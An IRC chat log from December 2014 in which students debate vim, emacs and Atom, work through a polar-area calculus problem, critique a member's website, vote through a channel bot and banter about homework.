[2014-12-07T16:10:38-0500] <+alokpathy> He touched mine plz
[2014-12-07T16:13:15-0500] <+LittleBobbyTables> I'd touch yours
[2014-12-07T16:14:03-0500] <+alokpathy> Ty LittleBobbyTables 
[2014-12-07T16:14:43-0500] <+LittleBobbyTables> yep
[2014-12-07T16:17:50-0500] <JacobEdelman> guys
[2014-12-07T16:17:54-0500] <JacobEdelman> if you got to
[2014-12-07T16:17:57-0500] <JacobEdelman> jacobedelman.com
[2014-12-07T16:18:03-0500] <JacobEdelman> and click on the github button
[2014-12-07T16:18:06-0500] <JacobEdelman> does anything show up?
[2014-12-07T16:18:15-0500] <+The_Master> for me it works.
[2014-12-07T16:20:04-0500] <JacobEdelman> weird
[2014-12-07T16:21:05-0500] <JacobEdelman> hmm... maybe its just my browser being weird
[2014-12-07T16:22:36-0500] <+The_Master> JacobEdelman: are you killing the internet?
[2014-12-07T16:22:44-0500] <JacobEdelman> maybe
[2014-12-07T16:23:06-0500] <+The_Master> JacobEdelman: or is the ww-p server down? I have been loading a page on it for the past ~5 minutes.
[2014-12-07T16:23:14-0500] <+The_Master> JacobEdelman: stop.
[2014-12-07T16:25:23-0500] <nezorg> do vim users really use <esc> to switch from insert mode to command mode?
[2014-12-07T16:25:35-0500] <+LittleBobbyTables> Yes
[2014-12-07T16:25:42-0500] <Hyper> we do
[2014-12-07T16:25:44-0500] <+LittleBobbyTables> Why wouldn't we?
[2014-12-07T16:25:46-0500] <nezorg> it seems so inefficient
[2014-12-07T16:25:48-0500] <+alokpathy> nezorg: Yes
[2014-12-07T16:25:51-0500] <Hcnsh> what
[2014-12-07T16:25:51-0500] <Hcnsh> it's not
[2014-12-07T16:25:57-0500] <nezorg> like you have to reach a fair ways away
[2014-12-07T16:26:00-0500] <Hyper> map caps lock to esc, never look back
[2014-12-07T16:26:05-0500] <+LittleBobbyTables> You can map it to something else
[2014-12-07T16:26:16-0500] <+Tamini> i like esc tho
[2014-12-07T16:26:19-0500] <+LittleBobbyTables> You can move around a lot faster in normal mode instead of insert
[2014-12-07T16:26:20-0500] <Hcnsh> that key is so secluded i can just hit it without having to aim much
[2014-12-07T16:26:26-0500] <+Tamini> because you're switching between doing two different things
[2014-12-07T16:26:31-0500] <+Tamini> and what Hcnsh said
[2014-12-07T16:27:11-0500] <nezorg> I'm trying out spacemacs for kicks
[2014-12-07T16:27:16-0500] <nezorg> it uses evil-mode and builds on it
[2014-12-07T16:27:32-0500] <+LittleBobbyTables> evil-mode...?
[2014-12-07T16:27:40-0500] <nezorg> vim emulation for emacs
[2014-12-07T16:28:39-0500] <Hcnsh> anyone doing koding hackathon?
[2014-12-07T16:28:41-0500] <+LittleBobbyTables> Why not just use Vi itself
[2014-12-07T16:28:42-0500] <+LittleBobbyTables> :/
[2014-12-07T16:28:59-0500] <Hcnsh> my group hasn't done anything yet
[2014-12-07T16:28:59-0500] <Hcnsh> lol
[2014-12-07T16:29:02-0500] <Hcnsh> it ends today
[2014-12-07T16:29:05-0500] <nezorg> LittleBobbyTables: because emacs is amazingly extensible
[2014-12-07T16:29:16-0500] <+LittleBobbyTables> So is Vim
[2014-12-07T16:29:26-0500] <nezorg> not nearly as much
[2014-12-07T16:29:33-0500] <+LittleBobbyTables> ...?
[2014-12-07T16:29:33-0500] <nezorg> emacs is pretty much written in elisp
[2014-12-07T16:29:34-0500] <JacobEdelman> atom ftw!
[2014-12-07T16:29:56-0500] <+LittleBobbyTables> You can use python or lua(?) to write plugins for Vim.
[2014-12-07T16:29:58-0500] <nezorg> JacobEdelman: atom always just seemed too slow :/
[2014-12-07T16:30:05-0500] <nezorg> JacobEdelman: and not accessible from a terminal
[2014-12-07T16:30:09-0500] <+LittleBobbyTables> Coming from an emacs user, that's a surprise :P
[2014-12-07T16:30:19-0500] <JacobEdelman> nezorg: newer version are better I think
[2014-12-07T16:30:20-0500] <JacobEdelman> and yes
[2014-12-07T16:30:25-0500] <JacobEdelman> it does take a few secs to start up
[2014-12-07T16:30:39-0500] <nezorg> LittleBobbyTables: you can write plugins, sure, but with emacs you can change core functionality easily
[2014-12-07T16:30:52-0500] <+LittleBobbyTables> You can do that in Vim as well
[2014-12-07T16:33:17-0500] <JacobEdelman> ... we got ourselves an old fashioned vim vs emacs debate, wow
[2014-12-07T16:33:25-0500] <JacobEdelman> I thought we were all to young for that stuff
[2014-12-07T16:33:32-0500] <JacobEdelman> modern is important
[2014-12-07T16:33:34-0500] <JacobEdelman> atom is good
[2014-12-07T16:33:40-0500] <JacobEdelman> write your extensions in js
[2014-12-07T16:34:37-0500] <+LittleBobbyTables> Atom is slow.
[2014-12-07T16:34:45-0500] <+LittleBobbyTables> That's after using Emacs.
[2014-12-07T16:35:13-0500] <JacobEdelman> true
[2014-12-07T16:35:15-0500] <JacobEdelman> atom is slow
[2014-12-07T16:35:17-0500] <JacobEdelman> right now
[2014-12-07T16:35:22-0500] <JacobEdelman> given time it will improve
[2014-12-07T16:35:39-0500] <+LittleBobbyTables> Didn't they say that a year ago?
[2014-12-07T16:35:46-0500] <nezorg> JacobEdelman: atom has the same problem as vim in that it's not really quite as extensible
[2014-12-07T16:35:55-0500] <JacobEdelman> what?
[2014-12-07T16:36:02-0500] <JacobEdelman> what do you mean???
[2014-12-07T16:36:12-0500] <+LittleBobbyTables> Vim is really extensible...
[2014-12-07T16:36:25-0500] <JacobEdelman> atom is just as extensible
[2014-12-07T16:36:34-0500] <+LittleBobbyTables> Thing is, a lot of great Vim users don't use it because there's not that much of a need.
[2014-12-07T16:36:46-0500] <+The_Master> JacobEdelman: LittleBobbyTables: Emacs /ˈiːmæks/ and its derivatives are a family of text editors that are characterized by their extensibility.
[2014-12-07T16:36:47-0500] <+LittleBobbyTables> Change the color, map a couple of keys, change tab width, and bam. Perfect editor.
[2014-12-07T16:37:00-0500] <+LittleBobbyTables> The_Master: Emacs isn't just a text editor though.
[2014-12-07T16:37:06-0500] <JacobEdelman> yeah
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[2014-12-07T16:37:16-0500] <JacobEdelman> Emacs is a good os, but not the best text editor
[2014-12-07T16:37:19-0500] <JacobEdelman> :P
[2014-12-07T16:37:21-0500] <+LittleBobbyTables> Also, Vi was the original, and you could say everything is sort of based on it.
[2014-12-07T16:37:30-0500] <+LittleBobbyTables> Err, not original.
[2014-12-07T16:37:55-0500] <awe> Uhh.
[2014-12-07T16:38:09-0500] <awe> One of the answers to my math homework involved recognizing inverse sinh.
[2014-12-07T16:38:17-0500] <+LittleBobbyTables> Also uhh
[2014-12-07T16:38:19-0500] <+LittleBobbyTables> Ithink my mom
[2014-12-07T16:38:23-0500] <awe> We've literally never discussed those functions at all.
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[2014-12-07T16:38:26-0500] Pidgey sets mode +v The_Master
[2014-12-07T16:38:27-0500] <+LittleBobbyTables> is finally realizing why we need better internet
[2014-12-07T16:38:33-0500] <nezorg> awe: what class is this again?
[2014-12-07T16:38:37-0500] <awe> Calculus II.
[2014-12-07T16:38:40-0500] <+LittleBobbyTables> She's like "When we're both on it, it seems like it's slow"
[2014-12-07T16:38:50-0500] <+LittleBobbyTables> I'm like "yeah, that's because it's 3G internet. But slower"
[2014-12-07T16:38:53-0500] <nezorg> awe: oh, that's funny, that was the same for me but on a test :P
[2014-12-07T16:39:06-0500] <nezorg> (might have been cosh, but same thing)
[2014-12-07T16:39:53-0500] <JacobEdelman> I don't like sinh
[2014-12-07T16:40:00-0500] <awe> nezorg: Well, it was find the arc length of r = theta.
[2014-12-07T16:40:05-0500] <awe> from 0 to pi/4
[2014-12-07T16:40:16-0500] <+The_Master> The conversation has changed greatly since I left 3 minutes ago
[2014-12-07T16:40:22-0500] <awe> If you do the integral, you get a really gross log.
[2014-12-07T16:40:32-0500] <awe> And then it turns out, that's actually inverse sinh.
[2014-12-07T16:40:38-0500] <awe> It would not accept the answer with the log.
[2014-12-07T16:40:54-0500] <awe> Also, I'm going to point this out:
[2014-12-07T16:40:59-0500] <awe> WHO NEEDS A TEXT EDITOR TO BE EXTENSIBLE?
[2014-12-07T16:41:01-0500] <awe> IT'S A TEXT EDITOR
[2014-12-07T16:41:04-0500] <awe> IT EDITS TEXT
[2014-12-07T16:41:31-0500] <awe> JacobEdelman: teach me how to math
[2014-12-07T16:41:39-0500] <awe> JacobEdelman: Find the area of the region that lies inside the first curve and outside the second curve. r = 14 cos θ,    r = 7
[2014-12-07T16:42:07-0500] <awe> I know r=14cos(θ) is just a circle with radius 7 centered at (7, 0)
[2014-12-07T16:42:31-0500] <+hardmath123> and r=7 is a circle at the origin with radios 7
[2014-12-07T16:42:34-0500] <awe> Yeah.
[2014-12-07T16:43:07-0500] <nezorg> JacobEdelman: maybe atom will be good in time, but atm there are too many packages for emacs for me to abandon it now
[2014-12-07T16:43:10-0500] <awe> So, I need to find the intersection, which is sort of obviously pi/4 and 3pi/4?
[2014-12-07T16:43:12-0500] <+hardmath123> so then you can just geometry it
[2014-12-07T16:43:14-0500] <awe> nezorg: Atom is super slow.
[2014-12-07T16:43:24-0500] <awe> hardmath123: can you just geometry it?
[2014-12-07T16:43:25-0500] <nezorg> awe: I use text editors for a lot more than editing text... like I edit code with them
[2014-12-07T16:43:35-0500] <+hardmath123> awe: intersection of circles
[2014-12-07T16:43:45-0500] <awe> These aren't things I've learned.
[2014-12-07T16:44:05-0500] <+hardmath123> what you do
[2014-12-07T16:44:14-0500] <+hardmath123> is draw the line between the points of intersection
[2014-12-07T16:44:31-0500] <awe> I feel like they'd get mad that this isn't calculus.
[2014-12-07T16:44:50-0500] <+hardmath123> but it works
[2014-12-07T16:45:00-0500] <+hardmath123> then you draw lines from the centers of the circles to those points
[2014-12-07T16:45:11-0500] <awe> But I wouldn't get credit for it on a test.
[2014-12-07T16:45:30-0500] <+hardmath123> and then you realize that the area you want is more or less the sum of two pizza slices minus two triangles
[2014-12-07T16:45:33-0500] <+hardmath123> and those are easy
[2014-12-07T16:46:37-0500] <awe> erm, the intersections are pi/4 and -pi/4. I don't know why I changed my mind and wrote 3pi/4 here.
[2014-12-07T16:47:23-0500] <awe> How to calculus this?
[2014-12-07T16:47:46-0500] <awe> nezorg: editing code is the same as editing text but with syntax highlighting and linting.
[2014-12-07T16:48:16-0500] <+hardmath123> and automagical indentation
[2014-12-07T16:48:17-0500] <awe> nezorg: But seriously, Atom lags with files over a thousand lines.
[2014-12-07T16:51:04-0500] <nezorg> awe: also I just installed it and it has the chromium bug where it appears over all my windows no matter which workspace I'm in :'(
[2014-12-07T16:51:21-0500] <awe> It is Chromium.
[2014-12-07T16:51:29-0500] <awe> It's literally just a web browser.
[2014-12-07T16:51:45-0500] <awe> Hence, it's slow as hell.
[2014-12-07T16:52:49-0500] <awe> Tamini: teach me to math
[2014-12-07T16:55:13-0500] <awe> Wait, I'm dumb, it's pi/3 and -pi/3
[2014-12-07T16:56:02-0500] <+ubuntor> integral from -pi/3 to pi/3 of 1/2 * ((14cos theta)**2 - (7)**2) dtheta
[2014-12-07T16:56:04-0500] <+ubuntor> i think
[2014-12-07T16:56:34-0500] <awe> Okay, so, that's a thing that works.
[2014-12-07T16:57:23-0500] <awe> Yea.h
[2014-12-07T16:57:24-0500] <awe> That works.
[2014-12-07T16:57:38-0500] <+ubuntor> ok
[2014-12-07T16:57:43-0500] <awe> ubuntor: in hindsight, it should've been obvious that I could combine that into one integral.
[2014-12-07T16:58:24-0500] <awe> But I basically just saw a problem that we never even remotely discussed and said "do not know how do."
[2014-12-07T16:58:50-0500] <+ubuntor> ah, ok
[2014-12-07T16:59:22-0500] <awe> Math at my university is hugely disappointing.
[2014-12-07T17:00:01-0500] <+LittleBobbyTables> >get a headshot on an invis spy talking in an all-chat on match
[2014-12-07T17:00:07-0500] <+LittleBobbyTables> >get accused of hacking because spy was invisible
[2014-12-07T17:00:09-0500] <+LittleBobbyTables> :/
[2014-12-07T17:00:17-0500] <awe> LittleBobbyTables: hacks.
[2014-12-07T17:00:22-0500] <+LittleBobbyTables> 100%
[2014-12-07T17:00:37-0500] <+LittleBobbyTables> Definitely can't see the little speech bubble directly above someone's head when they're talking.
[2014-12-07T17:01:27-0500] <awe> YEAH.
[2014-12-07T17:07:24-0500] <awe> Definitely hacks.
[2014-12-07T17:54:18-0500] <JacobEdelman> jacobedelman.com
[2014-12-07T17:54:22-0500] <JacobEdelman> is now ready
[2014-12-07T17:55:15-0500] <+hardmath123> are windows supposed to shake when you touch them?
[2014-12-07T17:55:32-0500] <+The_Master> hardmath123: yes
[2014-12-07T18:00:38-0500] <+hardmath123> even Jacob's?
[2014-12-07T18:00:53-0500] <+The_Master> hardmath123: yes
[2014-12-07T18:02:10-0500] <+The_Master> hardmath123: In response to me asking him if he will remove the feature JacobEdelman said "maybe eventually" he will get rid of it.
[2014-12-07T18:05:36-0500] <+hardmath123> "feature"
[2014-12-07T18:06:06-0500] <+The_Master> JacobEdelman: he just realized how annoying it is, and is removing it.
[2014-12-07T18:06:21-0500] <+The_Master> *hardmath123: he just realized how annoying it is, and is removing it.
[2014-12-07T18:08:06-0500] <JacobEdelman> hardmath123: wobble has been removed
[2014-12-07T18:08:12-0500] <JacobEdelman> the effects are propogating now
[2014-12-07T18:09:48-0500] <+hardmath123> also, your minimize button does stuff that could be construed as `broken` by some
[2014-12-07T18:10:23-0500] <JacobEdelman> really?
[2014-12-07T18:10:35-0500] <JacobEdelman> wobble and minimze were both built in to Ventus which I am using
[2014-12-07T18:10:43-0500] <JacobEdelman> I didn't actually make them
[2014-12-07T18:12:14-0500] <JacobEdelman> although looking at it
[2014-12-07T18:12:17-0500] <JacobEdelman> the minimize problem
[2014-12-07T18:12:31-0500] <JacobEdelman> is probably cause I changed the header fonts around
[2014-12-07T18:14:43-0500] <+ubuntor> what do you do when you close all windows?
[2014-12-07T18:15:06-0500] <+ubuntor> and double scrollbar action for public key
[2014-12-07T18:15:37-0500] <+ubuntor> hm, in chromium only, not in firefox
[2014-12-07T18:19:14-0500] <+hardmath123> Gosh, I wonder if Brazil is really as cheerful as their music makes it seem.
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[2014-12-07T18:29:03-0500] <+LittleBobbyTables> There's only one cord from HDD, right?
[2014-12-07T18:29:30-0500] <bob_twinkles> no
[2014-12-07T18:29:36-0500] <bob_twinkles> power and data
[2014-12-07T18:29:43-0500] <+LittleBobbyTables> That might explain why it's not being read then lol
[2014-12-07T18:30:01-0500] <bob_twinkles> yeah probably
[2014-12-07T18:34:09-0500] <+LittleBobbyTables> Yeah, had just the data one.
[2014-12-07T18:34:13-0500] <+LittleBobbyTables> Forgot actually power it
[2014-12-07T18:34:14-0500] <+LittleBobbyTables> GGWP
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[2014-12-07T19:28:30-0500] <nezorg> it feels so december-y
[2014-12-07T19:28:33-0500] <nezorg> although it hasn't been cold
[2014-12-07T19:30:22-0500] <+Tamini> it is december
[2014-12-07T19:30:24-0500] <+Tamini> that might be why
[2014-12-07T19:31:09-0500] <nezorg> yeah but
[2014-12-07T19:31:12-0500] <nezorg> it came on so suddenly here
[2014-12-07T19:31:20-0500] <nezorg> and it hasn't been cold
[2014-12-07T19:31:27-0500] <+alokpathy> nezorg: Where in Cali do you live?
[2014-12-07T19:31:38-0500] <nezorg> alokpathy: two hours north of LA
[2014-12-07T19:31:46-0500] <+alokpathy> Ah, that might be why
[2014-12-07T19:31:58-0500] <+alokpathy> I think
[2014-12-07T19:32:11-0500] <nezorg> no, but it normally has gotten cold far before now
[2014-12-07T19:32:24-0500] <bob_twinkles> I think we took all your cold
[2014-12-07T19:32:29-0500] <+Tamini> yeah
[2014-12-07T19:32:31-0500] <nezorg> like we usually have used the furnace at least once in october and fairly steadily through november
[2014-12-07T19:32:37-0500] <nezorg> but we haven't even turned it on so far
[2014-12-07T19:32:42-0500] <+Tamini> oh my god lol
[2014-12-07T19:32:58-0500] <bob_twinkles> lol we switch from AC to heat in like late september
[2014-12-07T19:33:02-0500] <+LittleBobbyTables> omg
[2014-12-07T19:33:05-0500] <+LittleBobbyTables> freenode #reddit-buildapc
[2014-12-07T19:33:09-0500] <+LittleBobbyTables> It's so entertaining right now
[2014-12-07T19:33:16-0500] <bob_twinkles> 'cause reddit is shitting itself?
[2014-12-07T19:33:21-0500] <+LittleBobbyTables> chicks trying to put together a comp, asks why she has an 11 pin connector
[2014-12-07T19:33:22-0500] <+LittleBobbyTables> http://imgur.com/45Zpm2x
[2014-12-07T19:33:27-0500] <+LittleBobbyTables> Posts that picture
[2014-12-07T19:33:58-0500] <bob_twinkles> that's not 11 pins
[2014-12-07T19:34:39-0500] <+LittleBobbyTables> Yeah
[2014-12-07T19:34:43-0500] <+LittleBobbyTables> That's why I said it was entertaining
[2014-12-07T19:34:47-0500] <+LittleBobbyTables> No idea where she even got 11 from
[2014-12-07T19:34:57-0500] <nezorg> 4*2 + 3
[2014-12-07T19:35:01-0500] <nezorg> seriously
[2014-12-07T19:35:07-0500] <nezorg> I could make that dumb mistake too
[2014-12-07T19:35:49-0500] <+LittleBobbyTables> 12:35 AM <caitlinn> so you mean combined the 6 and 2 to be 8
[2014-12-07T19:35:53-0500] <+LittleBobbyTables> nezorg: wtf lol
[2014-12-07T20:32:54-0500] <+LittleBobbyTables> Guys good news
[2014-12-07T20:33:01-0500] <+LittleBobbyTables> My mother MAY realize why we need faster internet
[2014-12-07T20:33:20-0500] <awe> JacobEdelman: this website is still such a gimmick.
[2014-12-07T20:33:23-0500] <+LittleBobbyTables> Once I started maxing out our internet cap by downloading everything, she's barely able to use the other computer
[2014-12-07T20:33:36-0500] <+LittleBobbyTables> So now I'm like "just get better internet and it'll go away" and now she's looking at prices.
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[2014-12-07T20:35:14-0500] <awe> LittleBobbyTables: lol, good call.
[2014-12-07T20:35:26-0500] <awe> LittleBobbyTables: hold the internet hostage until she upgrades.
[2014-12-07T20:35:50-0500] <+LittleBobbyTables> Why didn't I think of this before
[2014-12-07T20:36:03-0500] <+LittleBobbyTables> Good thing I bought a new computer, all the updates, all the stress tests, all the games!
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[2014-12-07T21:17:44-0500] <JacobEdelman> Hello, I'm back
[2014-12-07T21:17:55-0500] <+LittleBobbyTables> Hi back, I'm LittleBobbyTables 
[2014-12-07T21:19:09-0500] <+Tamini> Hi Jacob, Hi Jacob.
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[2014-12-07T21:35:41-0500] <nezorg> hi lemmings, I'm a paranoid freak
[2014-12-07T21:36:12-0500] <awe> JacobEdelman: make your website not a gimmick.
[2014-12-07T21:36:28-0500] <awe> If anyone has an hour to spare, this debate is incredible: http://youtu.be/3wfNl2L0Gf8
[2014-12-07T21:37:04-0500] <+hardmath123> ++awe
[2014-12-07T21:37:22-0500] <+The_Master> .active
[2014-12-07T21:37:22-0500] <&Pidgey> Proposal (4) to deop nezorg (Y: 2, N 1).
[2014-12-07T21:37:22-0500] <&Pidgey> Proposal (3) to deop awe (Y: 2, N 2).
[2014-12-07T21:37:22-0500] <&Pidgey> Proposal (0) to oper Hcnsh (Y: 1, N 2).
[2014-12-07T21:37:23-0500] <awe> Foucault and Chomsky <3
[2014-12-07T21:37:32-0500] <+LittleBobbyTables> .vote 5 yea
[2014-12-07T21:37:32-0500] <&Pidgey> 5 is not a valid proposal.
[2014-12-07T21:37:40-0500] <+LittleBobbyTables> .vote 4 yea
[2014-12-07T21:37:40-0500] <&Pidgey> Vote issued.
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[2014-12-07T22:01:35-0500] <+ubuntor> .active
[2014-12-07T22:01:35-0500] <&Pidgey> Proposal (4) to deop nezorg (Y: 3, N 1).
[2014-12-07T22:01:35-0500] <&Pidgey> Proposal (3) to deop awe (Y: 2, N 2).
[2014-12-07T22:01:35-0500] <&Pidgey> Proposal (0) to oper Hcnsh (Y: 1, N 2).
[2014-12-07T22:01:51-0500] <+ubuntor> .vote 4 nay
[2014-12-07T22:01:51-0500] <&Pidgey> You must be identified to do that.
[2014-12-07T22:02:10-0500] <+Tamini> you should vote yay
[2014-12-07T22:02:14-0500] <+Tamini> i wonder what happens
[2014-12-07T22:02:22-0500] <+Tamini> when you try to deop someone that isnt
[2014-12-07T22:02:35-0500] <+ubuntor> nothing should happen
[2014-12-07T22:02:51-0500] <+ubuntor> setting user modes should work
[2014-12-07T22:02:54-0500] <+ubuntor> .vote 4 yay
[2014-12-07T22:02:54-0500] <&Pidgey> yay is not a valid vote.
[2014-12-07T22:02:57-0500] <+ubuntor> .vote 4 yea
[2014-12-07T22:02:57-0500] <&Pidgey> Vote issued.
[2014-12-07T22:03:11-0500] <+ubuntor> .vote 3 nay
[2014-12-07T22:03:11-0500] <&Pidgey> Vote issued.
[2014-12-07T22:03:17-0500] <+ubuntor> .vote 0 nay
[2014-12-07T22:03:17-0500] <&Pidgey> Vote issued.
[2014-12-07T22:06:35-0500] <+LittleBobbyTables> .vote 0 nay
[2014-12-07T22:06:35-0500] <&Pidgey> Vote issued.
[2014-12-07T22:06:39-0500] <+LittleBobbyTables> .vote 3 yay
[2014-12-07T22:06:39-0500] <&Pidgey> yay is not a valid vote.
[2014-12-07T22:06:44-0500] <+LittleBobbyTables> .vote 3 yea
[2014-12-07T22:06:44-0500] <&Pidgey> Vote issued.
[2014-12-07T22:13:02-0500] • hardmath123: just submit an incomplete paper because deadline :(
[2014-12-07T22:13:37-0500] <+ubuntor> aw
[2014-12-07T22:14:02-0500] <+Tamini> hardmath123: should've written faster! >.<
[2014-12-07T22:14:31-0500] <+hardmath123> Tamini: weren't you the one who was being all `quality over quantity`?
[2014-12-07T22:16:06-0500] <+Tamini> uh, no?
[2014-12-07T22:16:11-0500] <+Tamini> not that i recall?
[2014-12-07T22:16:12-0500] <+Tamini> :P
[2014-12-07T22:17:01-0500] <+hardmath123> Oh.
[2014-12-07T22:17:11-0500] <+hardmath123> That's awkward.
[2014-12-07T22:17:32-0500] • hardmath123: 's suddenly very conscious of his typing speed.
[2014-12-07T22:19:05-0500] <+Tamini> how so?
[2014-12-07T22:19:28-0500] <+hardmath123> >> <Tamini> should've written faster!
[2014-12-07T22:19:35-0500] <+Tamini> i'm sorry i didnt mean that
[2014-12-07T22:20:39-0500] <+hardmath123> <3 Charlie Brown is so cute.
[2014-12-07T22:22:22-0500] <+Tamini> i knooooow right <3
[2014-12-07T22:24:21-0500] <+hardmath123> "Riding around on the back of your mom's bicycle gives you time to think about things. Like people, life, and what would happen if you rain into a tree."
[2014-12-07T22:39:28-0500] <+LittleBobbyTables> Man
[2014-12-07T22:39:32-0500] <+LittleBobbyTables> I wish I could rain into trees.
[2014-12-07T22:39:37-0500] <+LittleBobbyTables> It'd make them grow faster.
[2014-12-07T22:43:49-0500] <awe> hardmath123: are you a slower typer?
[2014-12-07T22:54:06-0500] <+LittleBobbyTables> awe
[2014-12-07T22:54:06-0500] <+LittleBobbyTables> You here
[2014-12-07T22:54:14-0500] <awe> Yes.
[2014-12-07T22:54:17-0500] <+LittleBobbyTables> https://www.irccloud.com/pastebin/pDAxnkdO
[2014-12-07T22:54:21-0500] <+LittleBobbyTables> I want your opinion
[2014-12-07T22:54:24-0500] <+LittleBobbyTables> On which to write about
[2014-12-07T22:54:58-0500] <+hardmath123> LittleBobbyTables: worst part is, it's just a euphemism for peeing
[2014-12-07T22:55:45-0500] <awe> LittleBobbyTables: #1, talk about RAM and ROM and VRAM and DRAM and SDRAM and so on.
[2014-12-07T22:56:00-0500] <awe> LittleBobbyTables: I would personally recommend ROM to minimize forgetting.
[2014-12-07T22:56:14-0500] <awe> LittleBobbyTables: It's effective because you literally cannot delete things.
[2014-12-07T22:58:54-0500] <+LittleBobbyTables> I meant the questions themselves
[2014-12-07T22:58:56-0500] <+LittleBobbyTables> 1/2, 1/2/3
[2014-12-07T22:59:09-0500] <awe> I was making a joke.
[2014-12-07T22:59:17-0500] <+LittleBobbyTables> :P
[2014-12-07T22:59:21-0500] <awe> Do 1 and 2.
[2014-12-07T22:59:22-0500] <+LittleBobbyTables> I know
[2014-12-07T22:59:33-0500] <+LittleBobbyTables> Hmm
[2014-12-07T22:59:49-0500] <+LittleBobbyTables> I was thinking 3 cause I've studied sleep personally for the past year and a half.
[2014-12-07T22:59:58-0500] <+LittleBobbyTables> But dunno if it'd be easy to write enough
[2014-12-07T23:00:02-0500] <+LittleBobbyTables> Cause this is my Psych final
[2014-12-07T23:00:27-0500] <awe> Sure.
[2014-12-07T23:00:41-0500] <+LittleBobbyTables> It's why I wanted your opinion
[2014-12-07T23:05:38-0500] <awe> I think you could probably write enough about 3.
[2014-12-07T23:07:26-0500] <+LittleBobbyTables> Alright.
[2014-12-07T23:07:36-0500] <+LittleBobbyTables> How long would you recommend?
[2014-12-07T23:07:44-0500] <+LittleBobbyTables> She just said "answer the questions"
[2014-12-07T23:10:39-0500] <nezorg> a couple sentences should do
[2014-12-07T23:12:25-0500] <+LittleBobbyTables> I'm pretty sure it doesn't be that short.
[2014-12-07T23:12:52-0500] <bob_twinkles> I have a tactical decision to make: should I use Tex or hand write my writeup on what amounts to the multiplication table for a couple of tensors
[2014-12-07T23:13:13-0500] <nezorg> tex is faster than handwriting
[2014-12-07T23:13:20-0500] <nezorg> but then again I'm weird
[2014-12-07T23:13:41-0500] <bob_twinkles> so am I so 's all good
[2014-12-07T23:13:55-0500] <awe> LittleBobbyTables: Probably six to eight sentences?
[2014-12-07T23:14:15-0500] <bob_twinkles> it amounts to a lot of doing the same thing a bunch of times anyway so that'll probably be faster...
[2014-12-07T23:16:19-0500] <nezorg> especially since you can do for loops in tex but not by hand
[2014-12-07T23:18:22-0500] <awe> Tamini: your torchic profile picture feels a lot like your personality.
[2014-12-07T23:18:27-0500] <bob_twinkles> also yy10jp =P
[2014-12-07T23:18:39-0500] <+LittleBobbyTables> awe: It's a final, and I've never had a "write an essay for a final", so I have no idea.
[2014-12-07T23:18:50-0500] <awe> LittleBobbyTables: is this an essay?
[2014-12-07T23:18:59-0500] <awe> LittleBobbyTables: if so, shoot for approximately 500 words.
[2014-12-07T23:19:19-0500] <+LittleBobbyTables> She said "essay questions but it doesn't need to be an essay, just answer the questions like you were explaining them to someone"
[2014-12-07T23:19:38-0500] <+Tamini> awe: how so?
[2014-12-07T23:19:50-0500] <+LittleBobbyTables> "hot and fiery"
[2014-12-07T23:20:00-0500] <awe> It looks very excitable.
[2014-12-07T23:20:03-0500] <nezorg> bob_twinkles: but you're writing in a programming language, you might as well use it...
[2014-12-07T23:20:17-0500] <awe> LittleBobbyTables: So, she's not going to be strict about length.
[2014-12-07T23:20:27-0500] <awe> LittleBobbyTables: Just write until you feel you've answered the question as best you can.
[2014-12-07T23:20:28-0500] <+LittleBobbyTables> Yeah. But I don't really want it to be too short.
[2014-12-07T23:20:40-0500] <awe> When you're done, let me take a look. I'll let you know if I think it's too short.
[2014-12-07T23:20:45-0500] <+LittleBobbyTables> Alright.
[2014-12-07T23:20:47-0500] <bob_twinkles> nezorg: I don't actually grok the programming language part of tex that well, it's somewhere down the list of shit I need to figure out
[2014-12-07T23:20:57-0500] <+LittleBobbyTables> I have until monday-->tuesday midnight.
[2014-12-07T23:21:12-0500] <+LittleBobbyTables> So I'll probably edit it around some and give it to you either in the morning or around 8ish for you.
[2014-12-07T23:21:15-0500] <+LittleBobbyTables> pm
[2014-12-07T23:22:17-0500] <nezorg> bob_twinkles: :(
[2014-12-07T23:23:24-0500] <bob_twinkles> I know, but if I'm writting tex it's usually because I'm doing an English assignment at the last minute =P
[2014-12-07T23:23:55-0500] <nezorg> \foreach \n in {0,...,16}{hi thar}
[2014-12-07T23:24:05-0500] <+Tamini> awe: you've seen me once and the impression you got was excitable? :P
[2014-12-07T23:24:09-0500] <awe> Yes.
[2014-12-07T23:24:16-0500] <awe> I mean, also from talking to you.
[2014-12-07T23:24:18-0500] <+Tamini> I'm not sure how to feel.
[2014-12-07T23:24:20-0500] <+Tamini> and heh, I guess so.
[2014-12-07T23:24:29-0500] <awe> Excitable is a personality trait.
[2014-12-07T23:24:39-0500] <bob_twinkles> nezorg: hmm....
[2014-12-07T23:24:52-0500] <awe> So, uhh... who here likes MapleStory?
[2014-12-07T23:25:16-0500] <+LittleBobbyTables> fuck maplestory
[2014-12-07T23:25:20-0500] <bob_twinkles> I'll probably want \foreach \n in {x,y,z}{equation}
[2014-12-07T23:25:22-0500] <+LittleBobbyTables> I've lost too many friends to tha tgame
[2014-12-07T23:25:25-0500] <bob_twinkles> meh, I'll play with it
[2014-12-07T23:25:56-0500] <awe> LittleBobbyTables: lol, really?
[2014-12-07T23:26:05-0500] <+LittleBobbyTables> Yeah
[2014-12-07T23:26:16-0500] <awe> I've made so many friends because of MapleStory.
[2014-12-07T23:27:16-0500] <+hardmath123> @choose finish math homework now or hope he won't check
[2014-12-07T23:27:16-0500] <awebot> hardmath123: hope he won't check
[2014-12-07T23:27:23-0500] <+hardmath123> I love you awebot.
[2014-12-07T23:27:43-0500] <awe> Lol.
[2014-12-07T23:28:58-0500] <+Tamini> @choose watch one more tbbt episode or do homework
[2014-12-07T23:28:58-0500] <awebot> Tamini: do homework
[2014-12-07T23:29:02-0500] <+Tamini> goddammit awebot.
[2014-12-07T23:32:11-0500] <nezorg> @choose do homework or do homework
[2014-12-07T23:32:11-0500] <awebot> nezorg: do homework
[2014-12-07T23:32:17-0500] <nezorg> great
[2014-12-07T23:32:43-0500] <nezorg> oh
[2014-12-07T23:32:46-0500] <+hardmath123> clearly awebot gives me preferential treatment
[2014-12-07T23:33:01-0500] <bob_twinkles> well nezorg didn't really give it a lot of wiggle room there
[2014-12-07T23:33:04-0500] <nezorg> did I tell you guys how I'm now intimately familiar with qr codes?
[2014-12-07T23:33:14-0500] <+hardmath123> I ran a markov chain generator on my blog and got "An economic system to install a weekend job."
[2014-12-07T23:33:30-0500] <+Tamini> hmm?
[2014-12-07T23:33:53-0500] <+hardmath123> Also, "Third graders cower at the same thing if needed to trash talk, but I needed to learn."
[2014-12-07T23:34:13-0500] <+hardmath123> And "The insulting of software is called `nc`.
